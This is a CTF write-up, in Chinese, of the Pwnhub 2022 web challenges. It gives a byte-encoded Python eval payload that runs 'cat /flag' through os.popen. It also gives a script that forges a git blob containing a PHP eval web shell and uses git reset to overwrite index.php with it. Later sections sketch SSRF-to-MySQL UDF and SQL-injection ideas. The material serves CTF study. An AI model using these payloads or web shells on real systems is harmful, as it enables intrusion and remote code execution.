Pwnhub2022 wp
在赶期末大作业的时候挤时间和@Oatmeal师兄一起做的,浅记一下
calc
咋一看感觉应该是python ssti 方向
然后Oatmeal师傅fuzz了一下
以下是可以用的
既然如此
当时就想到全角半角这些,但是这是python特性而不是flask特性,所以怀疑这道题就是个python的eval,不是ssti
nu1的payload
calc=eval(bytes(list
((95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,
110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41))))
怀疑该题的源码是这样:
时间仓促且鄙人不才,如有妄下断言之处,还请各位师傅指出
git
我花时间整这个去了,主要是觉得git应该没什么新花样,还能怎么玩呢
扫git出来
用git_hack提取源码,经过审计,只有一个文件名部分可控,文件内容可控,文件路径可穿越的点,和一个git回滚但版本可控的点
然后我就想整点花活
当然最后以失败告终,然而我的思路是对的
正解如下:
参考:pwnhub冬季赛web - 腾讯云开发者社区-腾讯云 (tencent.com)
git原理:
对于要看懂上图是什么意思这个问题,大家可以跟着p牛的文章XDCTF2015代码审计全解 | 离别歌 (leavesongs.com)进行复现,我这里大概口述一下是什么情况:
真正的文件存在blob里,tree存储着blob的位置(当然也有可能存其他tree的位置,位置就是将文件内容的sha1值然后前两个取出来做目录,剩余的当作文件名)
这里我们是只能覆盖上面这些文件(因为文件名有waf),题目很明显要我们覆盖它们从而产生漏洞
首先了解.git的结构(用githack把它们搞下来)
└─$ tree ../../
../../
├── COMMIT_EDITMSG
├── config
├── description
├── FETCH_HEAD
├── HEAD
├── index
├── info
│ ├── exclude
│ └── refs
├── logs
│ ├── HEAD
│ └── refs
│ └── heads
│ └── master
├── objects
│ ├── 07
│ │ └── 01f62d1c7a5a43838cdc43e7843c83dabd477d
│ ├── 5b
│ │ └── 96335ff6a02021199d731eaa19ccadd1dc8af8
│ ├── 5d
│ │ └── 7d385685ad9f5e2e6568780c5436eca40b27a8
│ ├── 5f
│ │ ├── 8dec9fe9e26c7dfc7ab5fda8ae883032794fed
│ │ └── f1ef5c03448a1eb5571dd348cf717a7bad7402
│ ├── 75
│ │ └── f6694dad28e6ce98b64916568caa239911719a
│ ├── 87
│ │ └── 9659657033cfcf9be094d2e082978915c5de4d
│ ├── c3
│ │ └── 20a8ed6fd7f7511f97021efc4870e5a327c2ca
│ ├── c9
│ │ ├── 01dcdb6df18ba6cb865f8013814cb73ddd14f7
│ │ └── a4a016a1bd720a68f810776280619984e87e99
│ ├── ca
│ │ └── 9759f5890c28938ec85c6b3c9f9be12a76187d
│ ├── f7
│ │ └── b3220e9c9ff2397242e5bba452e8ca357bd27f
│ └── info
│ └── packs
├── ORIG_HEAD
├── packed-refs
└── refs
├── heads
│ └── master
├── remotes
│ └── origin
│ └── HEAD
├── stash
└── wip
├── index
│ └── refs
│ └── heads
│ └── master
└── wtree
└── refs
└── heads
└── master
27 directories, 30 files
注意到里面的object目录
Git object是保存git内容的对象,保存在.git目录下的objects目录中。经过sha1哈希算出40位的值,取前两个字母作为目录名,后38个字母是文件名。这个blob文件就是源文件的快照,后续使用
git reset
回滚就是根据这个文件来恢复的。
刚刚说的tree和blob就是存在这的
tree和blob是存储在上面的index文件中的,git有个方便的工具可以提取出里面的文件(blob文件的位置)
验证一下说法
至于为什么还有别的,是因为里面有些是tree,有些是git另一个版本的blob文件
比如说我回滚下
└─$ git log
commit c9a4a016a1bd720a68f810776280619984e87e99 (HEAD -> master)
Author: test <test@test.com>
Date: Thu Nov 3 05:47:38 2022 +0000
t_v2
commit 0701f62d1c7a5a43838cdc43e7843c83dabd477d
Author: test <test@test.com>
Date: Thu Nov 3 05:46:07 2022 +0000
t_v1
└─$ git reset --hard 0701f62d1c7a5a43838cdc43e7843c83dabd477d
error: 对引用 'ORIG_HEAD' 执行 update_ref 失败:cannot lock ref 'ORIG_HEAD': unable to resolve reference 'ORIG_HEAD': reference broken
HEAD 现在位于 0701f62 t_v1
└─$ git ls-files --stage
100755 5b96335ff6a02021199d731eaa19ccadd1dc8af8 0 css/bootstrap.min.css
100755 5ff1ef5c03448a1eb5571dd348cf717a7bad7402 0 index.php
100755 5f8dec9fe9e26c7dfc7ab5fda8ae883032794fed 0 reset.php
100755 ca9759f5890c28938ec85c6b3c9f9be12a76187d 0 upload.html
100755 c901dcdb6df18ba6cb865f8013814cb73ddd14f7 0 upload.php
就可以验证刚刚的说法了,大家在obj目录下找找,会有这些文件的
git reset的漏洞是直接根据位置把文件内容提取出来然后覆盖原文件
所以只要知道原文件的位置,并将该位置的文件覆盖就好
脚本生成一个恶意blob文件
import zlib
import hashlib
def generateBlob(content):
blobHead = "blob " + str(len(content)) + "\x00"
blobStore = blobHead + content
blobSha1 = hashlib.sha1(content.encode()).hexdigest()
blobCompress = zlib.compress(blobStore.encode())
return blobSha1, blobCompress
if __name__ == "__main__":
code = "<?php @eval($_REQUEST['thai']);"
fileSha1, blobFile = generateBlob(code)
print(fileSha1)
with open("blobFile", "wb") as f:
f.write(blobFile)
改名,改成你要覆盖的,比如说index,可以改f1ef5c03448a1eb5571dd348cf717a7bad7402或者f6694dad28e6ce98b64916568caa239911719a(两次不同git head下的list file),然后回溯到对应版本就行
┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/d/study/source/2022.12/pwnhub/git/47.97.127.1_26424]
└─$ git ls-files --stage
100755 5b96335ff6a02021199d731eaa19ccadd1dc8af8 0 css/bootstrap.min.css
100755 5ff1ef5c03448a1eb5571dd348cf717a7bad7402 0 index.php
100755 5f8dec9fe9e26c7dfc7ab5fda8ae883032794fed 0 reset.php
100755 ca9759f5890c28938ec85c6b3c9f9be12a76187d 0 upload.html
100755 c901dcdb6df18ba6cb865f8013814cb73ddd14f7 0 upload.php
┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/d/study/source/2022.12/pwnhub/git/47.97.127.1_26424]
└─$ git reset --hard c9a4a016a1bd720a68f810776280619984e87e99
error: 对引用 'ORIG_HEAD' 执行 update_ref 失败:cannot lock ref 'ORIG_HEAD': unable to resolve reference 'ORIG_HEAD': reference broken
HEAD 现在位于 c9a4a01 t_v2
┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/d/study/source/2022.12/pwnhub/git/47.97.127.1_26424]
└─$ git reset --hard 0701f62d1c7a5a43838cdc43e7843c83dabd477d
error: 对引用 'ORIG_HEAD' 执行 update_ref 失败:cannot lock ref 'ORIG_HEAD': unable to resolve reference 'ORIG_HEAD': reference broken
HEAD 现在位于 0701f62 t_v1
ssrfme
此题无时间复现,当时也没看,现在看看思路
ssrf打无密码Mysql
然后需要udf提取运行/readflag,属于是mysql rce了
spl
此题无时间复现,当时也没看,现在看看思路
感觉是很好的题目
题⽬考点:spl_autoload_register与spl_autoload特性、phar反序列化、file_put_contents特性
以后再看了
login
此题无时间复现,当时也没看,现在看看思路
个人认为是密码学在web方向上的应用
客户端发送的数据会被前端js加密,里面js加密用到的tplink算法存在缺陷,会出现严重的碰撞问题
所以这题其实是,username没有加密,username直接sql注入,然后注出的密码是passwd在前端进行过加密的一个散列值,又由于该加密存在漏洞,最后撞一下然后出了
给我们的提醒是
- 加密如果是在前端的话,需要高度安全
- 建议加密放在后端
- 密码不要明文存储